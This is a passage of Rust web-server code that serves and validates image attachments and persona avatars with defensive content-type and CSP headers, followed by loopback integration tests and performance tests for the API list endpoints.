7967        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7968        Ok((StatusCode::CREATED, Json(att)))
7969    })
7970    .await
7971}
7972
7973/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
7974/// `<img>` tag in the transcript.
7975async fn talk_attachment_get(
7976    State(ui): State<Arc<Ui>>,
7977    Path((id, att)): Path<(String, String)>,
7978) -> ApiResult<Response> {
7979    blocking(move || {
7980        let id = resolve_talk(&ui.talks, &id)?;
7981        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7982            return Err(ApiError::not_found(format!(
7983                "talk {id} has no attachment `{att}`"
7984            )));
7985        };
7986        Ok(attachment_response(&meta.mime, data))
7987    })
7988    .await
7989}
7990
7991/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
7992/// the icon setting, so changing it changes the URL.
7993fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7994    let mut id = String::new();
7995    for b in p.id.bytes() {
7996        if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7997            id.push(char::from(b));
7998        } else {
7999            id.push_str(&format!("%{b:02X}"));
8000        }
8001    }
8002    format!(
8003        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8004        persona_icon::fingerprint(p.icon.as_deref())
8005    )
8006}
8007
8008#[derive(Debug, Default, Deserialize)]
8009struct AvatarQuery {
8010    persona: Option<String>,
8011    /// Set by the page after the first load failed: skip the `icon`.
8012    builtin: Option<String>,
8013}
8014
8015/// Served with every built-in avatar: it is an image, so nothing else may run.
8016const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8017
8018fn builtin_avatar(id: &str) -> Response {
8019    svg_avatar(persona_icon::builtin_svg(id))
8020}
8021
8022async fn operator_avatar() -> Response {
8023    svg_avatar(persona_icon::operator_svg())
8024}
8025
8026fn svg_avatar(svg: &'static str) -> Response {
8027    (
8028        [
8029            (header::CONTENT_TYPE, "image/svg+xml"),
8030            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8031            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8032            (header::CACHE_CONTROL, "no-cache"),
8033        ],
8034        svg,
8035    )
8036        .into_response()
8037}
8038
8039/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
8040/// operator's raster `icon` when it resolves and its bytes agree with its
8041/// type, the built-in SVG otherwise. Display only; every failure is a warning
8042/// and the built-in avatar, never an error response.
8043async fn talk_avatar(
8044    State(ui): State<Arc<Ui>>,
8045    Path(id): Path<String>,
8046    Query(q): Query<AvatarQuery>,
8047) -> ApiResult<Response> {
8048    blocking(move || {
8049        let id = resolve_talk(&ui.talks, &id)?;
8050        let talk = ui.talks.get(&id)?;
8051        let wanted = q
8052            .persona
8053            .as_deref()
8054            .map(str::trim)
8055            .filter(|p| !p.is_empty())
8056            .unwrap_or(&talk.persona)
8057            .to_owned();
8058        let specs = match Config::discover(&talk.repo, None) {
8059            Ok((cfg, _)) => cfg.talk.personas,
8060            Err(e) => {
8061                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8062                Vec::new()
8063            }
8064        };
8065        let Some(found) = persona::find(&specs, &wanted) else {
8066            return Ok(builtin_avatar(persona::DEFAULT_ID));
8067        };
8068        let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8069            return Ok(builtin_avatar(&found.id));
8070        };
8071        match persona_icon::load(icon) {
8072            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8073                let mut res = attachment_response(mime, bytes);
8074                res.headers_mut().insert(
8075                    header::CACHE_CONTROL,
8076                    header::HeaderValue::from_static("no-cache"),
8077                );
8078                Ok(res)
8079            }
8080            Ok((mime, _)) => {
8081                tracing::warn!(
8082                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8083                    found.id
8084                );
8085                Ok(builtin_avatar(&found.id))
8086            }
8087            Err(e) => {
8088                tracing::warn!(
8089                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8090                    found.id
8091                );
8092                Ok(builtin_avatar(&found.id))
8093            }
8094        }
8095    })
8096    .await
8097}
8098
8099/// Validate an attachment upload's declared `Content-Type` and the bytes
8100/// themselves, returning the canonical mime on success.
8101///
8102/// Two checks, both required: the header has to name one of
8103/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
8104/// simply never in the list, active content rather than a picture, the same
8105/// exclusion [`asset_content_type`]'s doc explains), and the file's own
8106/// magic number has to agree. The second is what stops a mislabeled upload -
8107/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
8108/// a declared type is a claim, not a fact, so it is never trusted alone.
8109fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8110    if data.len() > ATTACHMENT_MAX_BYTES {
8111        return Err(ApiError::bad_request(format!(
8112            "attachment is {} bytes, over the {} MiB limit",
8113            data.len(),
8114            ATTACHMENT_MAX_BYTES / (1024 * 1024)
8115        ))
8116        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8117    }
8118    if data.is_empty() {
8119        return Err(ApiError::bad_request("attachment is empty"));
8120    }
8121    let declared = declared_mime(headers)?;
8122    match sniffed_mime(data) {
8123        Some(sniffed) if sniffed == declared => Ok(declared),
8124        Some(sniffed) => Err(ApiError::bad_request(format!(
8125            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8126        ))),
8127        None => Err(ApiError::bad_request(
8128            "the file's bytes do not match any accepted image format",
8129        )),
8130    }
8131}
8132
8133/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
8134/// and nothing else - parameters like `; charset=` are stripped, but the
8135/// value itself is not otherwise interpreted.
8136fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8137    let raw = headers
8138        .get(header::CONTENT_TYPE)
8139        .and_then(|v| v.to_str().ok())
8140        .unwrap_or("")
8141        .split(';')
8142        .next()
8143        .unwrap_or("")
8144        .trim()
8145        .to_ascii_lowercase();
8146    ATTACHMENT_MIME_WHITELIST
8147        .iter()
8148        .find(|&&m| m == raw)
8149        .copied()
8150        .ok_or_else(|| {
8151            if raw == "image/svg+xml" {
8152                ApiError::bad_request(
8153                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
8154                     not just a picture",
8155                )
8156            } else if raw.is_empty() {
8157                ApiError::bad_request("Content-Type is required for an attachment upload")
8158            } else {
8159                ApiError::bad_request(format!(
8160                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8161                     image/gif or image/webp"
8162                ))
8163            }
8164        })
8165}
8166
8167/// Identify an image by its magic number, independent of whatever
8168/// `Content-Type` claimed.
8169fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8170    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8171        Some("image/png")
8172    } else if data.starts_with(b"\xff\xd8\xff") {
8173        Some("image/jpeg")
8174    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8175        Some("image/gif")
8176    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8177        Some("image/webp")
8178    } else {
8179        None
8180    }
8181}
8182
8183/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
8184/// display - see [`talk::Attachment::name`]'s doc on why it never
8185/// contributes to a path. A missing or blank header (curl without it, an
8186/// older front end) falls back to a generic name rather than refusing the
8187/// upload over a field that is cosmetic.
8188fn filename_header(headers: &HeaderMap) -> String {
8189    headers
8190        .get(FILENAME_HEADER)
8191        .and_then(|v| v.to_str().ok())
8192        .map(str::trim)
8193        .filter(|s| !s.is_empty())
8194        .unwrap_or("attachment")
8195        .to_owned()
8196}
8197
8198/// Every attachment `GET` response: the mime re-validated against the same
8199/// closed whitelist the upload route enforces - never the string trusted
8200/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
8201/// cannot decide it knows better than the type we send. Unlike a panel asset
8202/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
8203/// document renders inline, not agent-authored HTML in a sandboxed frame.
8204fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8205    let content_type = ATTACHMENT_MIME_WHITELIST
8206        .iter()
8207        .find(|&&m| m == mime)
8208        .copied()
8209        .unwrap_or("application/octet-stream");
8210    (
8211        [
8212            (header::CONTENT_TYPE, content_type),
8213            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8214        ],
8215        body,
8216    )
8217        .into_response()
8218}
8219
8220/// The configuration for a repository, read off the disk for this request.
8221///
8222/// Through [`blocking`] because discovery reads and merges several TOML files,
8223/// and because the alternative - caching it in [`Ui`] at startup - would mean
8224/// the operator's phone kept interviewing with a roster they had already
8225/// changed, with no way to reload it but restarting the server they are not
8226/// sitting in front of.
8227async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8228    let repo = repo.to_path_buf();
8229    blocking(move || {
8230        let (cfg, _) = Config::discover(&repo, None)?;
8231        Ok(cfg)
8232    })
8233    .await
8234}
8235
8236/// The one prefix rule, used for both runs and tasks: a leading match for a
8237/// full id, a trailing match for the short form an operator reads off a
8238/// report. Written here rather than borrowed from `queue::resolve_id` because
8239/// the UI needs the two failures as different status codes, and telling them
8240/// apart from an error message is not something to build a route on.
8241fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8242    let mut hits = ids
8243        .into_iter()
8244        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8245    match (hits.next(), hits.next()) {
8246        (Some(one), None) => Ok(one),
8247        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8248        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8249            "`{prefix}` matches more than one {what}, including {a} and {b}"
8250        ))),
8251    }
8252}
8253
8254#[cfg(test)]
8255mod tests {
8256
8257    #[test]
8258    fn holder_reads_the_lease_not_the_record() {
8259        let mut q = Question::new(
8260            "run".to_owned(),
8261            "implement".to_owned(),
8262            "impl-A".to_owned(),
8263            "which?".to_owned(),
8264            String::new(),
8265            Vec::new(),
8266        );
8267        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8268        q.cwd = Some("/tmp".to_owned());
8269        assert_eq!(holder_of(&q, None), Some("nobody"));
8270        let beat = |kind, ago: i64| ask::Lease {
8271            kind,
8272            pid: 1,
8273            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8274                .unwrap(),
8275        };
8276        let fresh = beat(ask::WaiterKind::Asker, 1);
8277        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8278        let daemon = beat(ask::WaiterKind::Daemon, 1);
8279        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
8280        let stale = beat(ask::WaiterKind::Asker, 3600);
8281        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8282
8283        // A conductor question says "deputy" only while one is attached and
8284        // alive, and "nobody" - never silence - when nothing ever listened.
8285        let mut c = Question::new(
8286            "task".to_owned(),
8287            crate::conduct::NODE.to_owned(),
8288            "conduct".to_owned(),
8289            "which?".to_owned(),
8290            String::new(),
8291            Vec::new(),
8292        );
8293        assert_eq!(holder_of(&c, None), Some("nobody"));
8294        c.cwd = Some("/tmp".to_owned());
8295        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8296        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8297        let deputy = beat(ask::WaiterKind::Deputy, 1);
8298        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8299        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8300
8301        // A release-watch question: nobody until a deputy is attached.
8302        let mut r = Question::new(
8303            String::new(),
8304            crate::bump::NOTICE_NODE.to_owned(),
8305            "release-watch".to_owned(),
8306            "stuck?".to_owned(),
8307            String::new(),
8308            vec!["hold".to_owned()],
8309        );
8310        assert_eq!(holder_of(&r, None), Some("nobody"));
8311        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8312        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8313        // A choice-less bump notice is nobody's question at all.
8314        r.deputy = None;
8315        r.seat = "bump".to_owned();
8316        assert_eq!(holder_of(&r, None), None);
8317
8318        // A merge approval is the same: nobody until a deputy is attached
8319        // and alive, never a silent "no holder".
8320        let mut m = Question::new(
8321            "run".to_owned(),
8322            crate::land::APPROVAL_NODE.to_owned(),
8323            "land".to_owned(),
8324            "merge?".to_owned(),
8325            String::new(),
8326            Vec::new(),
8327        );
8328        assert_eq!(holder_of(&m, None), Some("nobody"));
8329        assert_eq!(
8330            holder_of(&m, Some(&fresh)),
8331            Some("nobody"),
8332            "a lease with no deputy is not a listener"
8333        );
8334        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8335        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8336        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8337        assert_eq!(holder_of(&m, None), Some("nobody"));
8338    }
8339
8340    fn stub_config() -> Config {
8341        // An explicit roster, so the result never depends on which agent CLIs
8342        // this machine has installed.
8343        Config {
8344            agents: vec![crate::config::AgentSpec {
8345                id: "stub".to_owned(),
8346                kind: AgentKind::Command,
8347                model: None,
8348                command: vec!["true".to_owned()],
8349                extra_args: Vec::new(),
8350                env: Default::default(),
8351                prompt_delivery: None,
8352            }],
8353            ..Config::default()
8354        }
8355    }
8356
8357    fn plain_question(seat: &str) -> Question {
8358        Question::new(
8359            String::new(),
8360            "n".to_owned(),
8361            seat.to_owned(),
8362            "s".to_owned(),
8363            String::new(),
8364            Vec::new(),
8365        )
8366    }
8367
8368    #[test]
8369    fn deputies_enabled_follows_the_config() {
8370        let on = stub_config();
8371        assert!(crate::deputy::can_start(Some(&on), ""));
8372        assert!(crate::deputy::can_start(Some(&on), "stub"));
8373        let mut off = on.clone();
8374        off.daemon.max_deputies = 0;
8375        assert!(!crate::deputy::can_start(Some(&off), ""));
8376        let mut empty = on;
8377        empty.agents.clear();
8378        assert!(!crate::deputy::can_start(Some(&empty), ""));
8379        assert!(!crate::deputy::can_start(None, ""));
8380    }
8381
8382    #[test]
8383    fn question_views_load_the_config_once() {
8384        let dir = TempDir::new().unwrap();
8385        let store = ask::Questions::at(dir.path().to_path_buf());
8386        let mut with_deputy = plain_question("b");
8387        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8388        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8389
8390        let calls = std::cell::Cell::new(0usize);
8391        let views = question_views(qs.clone(), &store, || {
8392            calls.set(calls.get() + 1);
8393            Some(stub_config())
8394        });
8395        assert_eq!(calls.get(), 1);
8396        assert_eq!(views.len(), 3);
8397        for (v, q) in views.iter().zip(&qs) {
8398            assert_eq!(
8399                v.deputies_enabled,
8400                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8401            );
8402        }
8403
8404        let views = question_views(qs, &store, || None);
8405        assert!(views.iter().all(|v| !v.deputies_enabled));
8406
8407        let calls = std::cell::Cell::new(0usize);
8408        let views = question_views(Vec::new(), &store, || {
8409            calls.set(calls.get() + 1);
8410            None
8411        });
8412        assert!(views.is_empty());
8413        assert_eq!(calls.get(), 0);
8414    }
8415
8416    use pretty_assertions::assert_eq;
8417    use serde_json::Value;
8418    use tempfile::TempDir;
8419    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8420
8421    use super::*;
8422    use crate::config::Config;
8423    use crate::queue::Source;
8424
8425    /// How many 10ms steps a settle loop takes before it calls a stall a
8426    /// stall - thirty seconds.
8427    ///
8428    /// These loops wait on real `sh` subprocesses, and the machine that runs
8429    /// the gate runs several suites at once, so a two-second budget was not
8430    /// waiting for the reply, it was racing the scheduler: two of these
8431    /// tests failed under that load with the turn simply not landed yet.
8432    /// This is a hang guard, not a latency assertion - every loop breaks the
8433    /// moment its condition holds, so a generous cap costs an idle machine
8434    /// nothing and still fails a genuine hang instead of hanging the suite.
8435    const SETTLE_STEPS: usize = 3_000;
8436
8437    /// A home with a queue and a runs directory, and a router serving it on
8438    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
8439    /// dependency, not ours - so the tests drive a real socket, which has the
8440    /// side benefit of asserting the status line and content types the phone
8441    /// actually receives.
8442    struct Fixture {
8443        home: TempDir,
8444        addr: SocketAddr,
8445    }
8446
8447    impl Fixture {
8448        async fn start() -> Self {
8449            Self::with_loop(launch_idle).await
8450        }
8451
8452        /// A fixture whose loop is `launch`.
8453        async fn with_loop(launch: Launch) -> Self {
8454            let home = TempDir::new().expect("temp home");
8455            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8456            Self { home, addr }
8457        }
8458
8459        /// A fixture whose `ui.repo` is a real directory rather than the
8460        /// usual placeholder - for the routes that read config off it
8461        /// (`GET /api/repos`) and would otherwise have nothing to discover.
8462        async fn with_repo(repo: PathBuf) -> Self {
8463            let home = TempDir::new().expect("temp home");
8464            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8465            Self { home, addr }
8466        }
8467
8468        /// As [`Fixture::with_repo`], with the machine-config file the
8469        /// settings screen reads and writes.
8470        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8471            let home = TempDir::new().expect("temp home");
8472            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8473            Self { home, addr }
8474        }
8475
8476        async fn serve(
8477            home: &FsPath,
8478            repo: PathBuf,
8479            launch: Launch,
8480            machine: Option<PathBuf>,
8481        ) -> SocketAddr {
8482            let queue = Queue::at(home.join("queue"));
8483            let runs = home.join("runs");
8484            std::fs::create_dir_all(&runs).expect("runs dir");
8485            let worktrees = home.join("wt").join("magi");
8486            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8487            let ui = Ui::new(
8488                queue,
8489                Questions::at(home.join("questions")),
8490                Talks::at(home.join("talks")),
8491                runs,
8492                home.to_path_buf(),
8493                repo,
8494            )
8495            .with_worktrees_root(worktrees)
8496            .with_machine_config(machine)
8497            .with_launch(launch);
8498            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8499                .await
8500                .expect("bind loopback");
8501            let addr = listener.local_addr().expect("local addr");
8502            tokio::spawn(async move {
8503                let router = ui
8504                    .router()
8505                    .layer(axum::middleware::from_fn(request_cost::observe));
8506                let _ = axum::serve(listener, router).await;
8507            });
8508            addr
8509        }
8510
8511        fn queue(&self) -> Queue {
8512            Queue::at(self.home.path().join("queue"))
8513        }
8514
8515        fn questions(&self) -> Questions {
8516            Questions::at(self.home.path().join("questions"))
8517        }
8518
8519        fn talks(&self) -> Talks {
8520            Talks::at(self.home.path().join("talks"))
8521        }
8522
8523        fn runs(&self) -> PathBuf {
8524            self.home.path().join("runs")
8525        }
8526
8527        async fn get(&self, path: &str) -> Res {
8528            request(self.addr, "GET", path, None).await
8529        }
8530
8531        /// The status and headers without the body, which is how the front end
8532        /// preflights a panel: a sandboxed frame is opaque to the parent
8533        /// document, so the only way to tell "no panel" from "a panel that
8534        /// rendered blank" is to ask before mounting.
8535        async fn head(&self, path: &str) -> Res {
8536            request(self.addr, "HEAD", path, None).await
8537        }
8538
8539        async fn post(&self, path: &str, body: Option<&str>) -> Res {
8540            request(self.addr, "POST", path, body).await
8541        }
8542
8543        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8544            request_with(self.addr, "GET", path, None, extra).await
8545        }
8546
8547        async fn delete(&self, path: &str) -> Res {
8548            request(self.addr, "DELETE", path, None).await
8549        }
8550
8551        async fn put(&self, path: &str, body: &str) -> Res {
8552            request(self.addr, "PUT", path, Some(body)).await
8553        }
8554
8555        /// `POST` a raw body with its own headers - see [`request_bytes`].
8556        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8557            request_bytes(self.addr, path, headers, body).await
8558        }
8559    }
8560
8561    /// Real tracking refs exercise the successful discovery path (including
8562    /// extraction), rather than counting cheap failures on a placeholder repo.
8563    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8564        let tmp = TempDir::new().unwrap();
8565        let mut repos = Vec::new();
8566        for name in ["one", "two"] {
8567            let repo = tmp.path().join(name);
8568            let origin = tmp.path().join(format!("{name}.git"));
8569            std::fs::create_dir_all(&repo).unwrap();
8570            crate::git::git(&repo, &["init", "-b", "main"])
8571                .await
8572                .unwrap();
8573            std::fs::write(
8574                repo.join("magi.toml"),
8575                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8576            )
8577            .unwrap();
8578            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8579            crate::git::git(
8580                &repo,
8581                &[
8582                    "-c",
8583                    "user.name=fixture",
8584                    "-c",
8585                    "user.email=fixture@example.invalid",
8586                    "commit",
8587                    "-m",
8588                    "fixture",
8589                ],
8590            )
8591            .await
8592            .unwrap();
8593            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8594                .await
8595                .unwrap();
8596            crate::git::git(
8597                &repo,
8598                &["remote", "add", "origin", origin.to_str().unwrap()],
8599            )
8600            .await
8601            .unwrap();
8602            crate::git::git(&repo, &["push", "origin", "main"])
8603                .await
8604                .unwrap();
8605            crate::git::git(
8606                &repo,
8607                &[
8608                    "symbolic-ref",
8609                    "refs/remotes/origin/HEAD",
8610                    "refs/remotes/origin/main",
8611                ],
8612            )
8613            .await
8614            .unwrap();
8615            let (cfg, _) = Config::discover(&repo, None).unwrap();
8616            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
8617            repos.push(repo);
8618        }
8619        let repos: [PathBuf; 2] = repos.try_into().unwrap();
8620        (tmp, repos)
8621    }
8622
8623    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
8624        let (tmp, repos) = performance_repositories().await;
8625        let machine = tmp.path().join("machine.toml");
8626        std::fs::write(&machine, "").unwrap();
8627        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
8628        (tmp, repos, fx)
8629    }
8630
8631    fn seed_performance(
8632        fx: &Fixture,
8633        repos: &[PathBuf; 2],
8634        questions: usize,
8635        runs: usize,
8636        items: usize,
8637    ) {
8638        // Saving states directly never starts a run or changes MAGI_HOME.
8639        for i in fx.questions().list().len()..questions {
8640            let mut question = Question::new(
8641                "20261001-000000-0000".into(),
8642                "implement".into(),
8643                "impl-A".into(),
8644                format!("question {i}"),
8645                "context".into(),
8646                vec!["yes".into(), "no".into()],
8647            );
8648            question.id = format!("20261003-000000-{i:04x}");
8649            fx.questions().put(&mut question).unwrap();
8650        }
8651        for i in run_ids(&fx.runs()).len()..runs {
8652            write_run_repo(
8653                &fx.runs(),
8654                &format!("20261001-000000-{i:04x}"),
8655                RunStatus::Ready,
8656                repos[i % 2].to_str().unwrap(),
8657            );
8658        }
8659        for i in fx.talks().list().len()..items {
8660            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
8661            let mut talk = fx.talks().get(&id).unwrap();
8662            talk.repo = repos[i % 2].clone();
8663            fx.talks().put(&mut talk).unwrap();
8664            let mut task = crate::queue::Task::new(
8665                format!("task {i}"),
8666                "instruction".into(),
8667                repos[i % 2].clone(),
8668                crate::queue::Source::Agent {
8669                    run: id,
8670                    node: crate::queue::CHAT_NODE.into(),
8671                },
8672            );
8673            task.id = format!("20261004-000000-{i:04x}");
8674            fx.queue().put(&mut task).unwrap();
8675            // Notices has a production retention cap; seed up to that cap.
8676            if i < crate::notices::CAP {
8677                Notices::at(fx.home.path().join("notifications"))
8678                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
8679                    .unwrap();
8680            }
8681        }
8682        assert_eq!(fx.questions().list().len(), questions);
8683        assert_eq!(run_ids(&fx.runs()).len(), runs);
8684        assert_eq!(fx.talks().list().len(), items);
8685        assert_eq!(fx.queue().list().len(), items);
8686        assert_eq!(
8687            Notices::at(fx.home.path().join("notifications"))
8688                .list()
8689                .len(),
8690            items.min(crate::notices::CAP)
8691        );
8692    }
8693
8694    fn request_counts(res: &Res) -> (usize, usize) {
8695        assert_eq!(res.status, 200, "{}", res.body);
8696        (
8697            res.header("x-test-discoveries").unwrap().parse().unwrap(),
8698            res.header("x-test-git").unwrap().parse().unwrap(),
8699        )
8700    }
8701
8702    #[tokio::test]
8703    async fn list_request_cost_is_independent_of_record_count() {
8704        let (_tmp, repos, fx) = performance_fixture().await;
8705        let mut previous = None;
8706        for n in [4, 60] {
8707            seed_performance(&fx, &repos, n, n, n);
8708            let mut costs = Vec::new();
8709            for (path, discoveries) in [
8710                ("/api/questions", 1),
8711                ("/api/talks", 2),
8712                ("/api/health", 1),
8713                ("/api/stats", 1),
8714            ] {
8715                // Equal cold extraction caches at both scales; this also
8716                // bounds first-request cost instead of only warmed requests.
8717                for repo in &repos {
8718                    let cache = repo.join(".git/magi/config");
8719                    if cache.exists() {
8720                        std::fs::remove_dir_all(cache).unwrap();
8721                    }
8722                }
8723                let cost = request_counts(&fx.get(path).await);
8724                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
8725                assert_eq!(cost.0, discoveries, "{path}, N={n}");
8726                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
8727                costs.push(cost);
8728            }
8729            if let Some(previous) = previous {
8730                assert_eq!(costs, previous);
8731            }
8732            previous = Some(costs);
8733        }
8734        // runs reads shared row inputs and probes process liveness; queue
8735        // builds one blocker inventory; notifications reads its own store.
8736        // None discovers configuration or spawns git per item.
8737    }
8738
8739    /// The same handler path without transport, so the deterministic cause
8740    /// can also be checked in environments that prohibit binding sockets.
8741    #[tokio::test]
8742    async fn list_handler_cost_without_transport() {
8743        let (_tmp, repos) = performance_repositories().await;
8744        let fx = Fixture {
8745            home: TempDir::new().unwrap(),
8746            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
8747        };
8748        let ui = Arc::new(
8749            Ui::new(
8750                fx.queue(),
8751                fx.questions(),
8752                fx.talks(),
8753                fx.runs(),
8754                fx.home.path().to_path_buf(),
8755                repos[0].clone(),
8756            )
8757            .with_worktrees_root(fx.home.path().join("wt")),
8758        );
8759        let mut previous = None;
8760        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
8761            seed_performance(&fx, &repos, n, runs, items);
8762            let mut costs = Vec::new();
8763            for endpoint in ["questions", "talks", "health", "stats"] {
8764                for repo in &repos {
8765                    let cache = repo.join(".git/magi/config");
8766                    if cache.exists() {
8767                        std::fs::remove_dir_all(cache).unwrap();
8768                    }
8769                }
8770                let (_, cost) = request_cost::measure(async {
8771                    match endpoint {
8772                        "questions" => {
8773                            let _ = questions_list(State(ui.clone())).await.unwrap();
8774                        }
8775                        "talks" => {
8776                            let _ = talks_list(
8777                                State(ui.clone()),
8778                                Query(ListQuery {
8779                                    limit: None,
8780                                    ids: None,
8781                                }),
8782                            )
8783                            .await
8784                            .unwrap();
8785                        }
8786                        "health" => {
8787                            let _ = health(State(ui.clone())).await.unwrap();
8788                        }
8789                        _ => {
8790                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
8791                                .await
8792                                .unwrap();
8793                        }
8794                    }
8795                })
8796                .await;
8797                eprintln!("{endpoint} handler N={n}: {cost:?}");
8798                assert_eq!(
8799                    cost.0,
8800                    if endpoint == "talks" { 2 } else { 1 },
8801                    "{endpoint}"
8802                );
8803                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
8804                costs.push(cost);
8805            }
8806            if let Some(previous) = previous {
8807                assert_eq!(costs, previous);
8808            }
8809            previous = Some(costs);
8810        }
8811    }
8812
8813    #[tokio::test]
8814    async fn list_request_cost_scopes_do_not_mix() {
8815        let (_tmp, repos, fx) = performance_fixture().await;
8816        seed_performance(&fx, &repos, 10, 0, 10);
8817        let (questions, talks, notices) = tokio::join!(
8818            fx.get("/api/questions"),
8819            fx.get("/api/talks"),
8820            fx.get("/api/notifications")
8821        );
8822        assert_eq!(request_counts(&questions).0, 1);
8823        assert_eq!(request_counts(&talks).0, 2);
8824        assert_eq!(request_counts(&notices), (0, 0));
8825    }
8826
8827    #[tokio::test]
8828    async fn list_endpoints_large_home_ceiling() {
8829        let (_tmp, repos, fx) = performance_fixture().await;
8830        seed_performance(&fx, &repos, 200, 300, 400);
8831        let mut failures = Vec::new();
8832        // app.js boot/change loads plus the initial dashboard, settings and
8833        // repo picker. SSE is a persistent stream, not a bounded GET.
8834        for path in [
8835            "/",
8836            "/app.js",
8837            "/app.css",
8838            "/api/questions",
8839            "/api/runs?limit=300",
8840            "/api/queue",
8841            "/api/talks",
8842            "/api/notifications",
8843            "/api/health",
8844            "/api/stats",
8845            "/api/loop",
8846            "/api/settings",
8847            "/api/repos",
8848        ] {
8849            let start = std::time::Instant::now();
8850            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
8851            let elapsed = start.elapsed();
8852            eprintln!("{path}: {elapsed:?}");
8853            match result {
8854                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
8855                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
8856                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
8857            }
8858        }
8859        assert!(failures.is_empty(), "{}", failures.join("\n"));
8860    }
8861
8862    struct Res {
8863        status: u16,
8864        headers: String,
8865        /// The header block with its original casing, for the assertions that
8866        /// compare a header *value* rather than looking for a name. Lowercasing
8867        /// a CSP would hide a directive spelled with a capital letter, and the
8868        /// whole point of that test is that the string is exactly right.
8869        head: String,
8870        body: String,
8871        /// The body before any UTF-8 handling, for the routes that serve
8872        /// something other than text. A panel asset is a PNG as often as not,
8873        /// and `from_utf8_lossy` would silently replace half of it.
